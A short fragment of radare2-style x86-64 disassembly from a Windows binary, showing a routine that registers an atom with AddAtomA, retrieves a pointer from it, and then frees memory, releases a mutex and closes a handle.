mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x72ccd5
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call dbg.get_ptr_from_atom
cmp rax, rbx
mov rsi, rax
je 0x72ccf0
mov rcx, rbx
call sym.free
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call dbg.get_ptr_from_atom
mov rsi, rax
jmp 0x72ccaf
xor edx, edx
mov r8, r12
mov rcx, rbx
call sym.memset
test r13, r13
je 0x72ccaf
mov rcx, rbx
call r13
jmp 0x72ccaf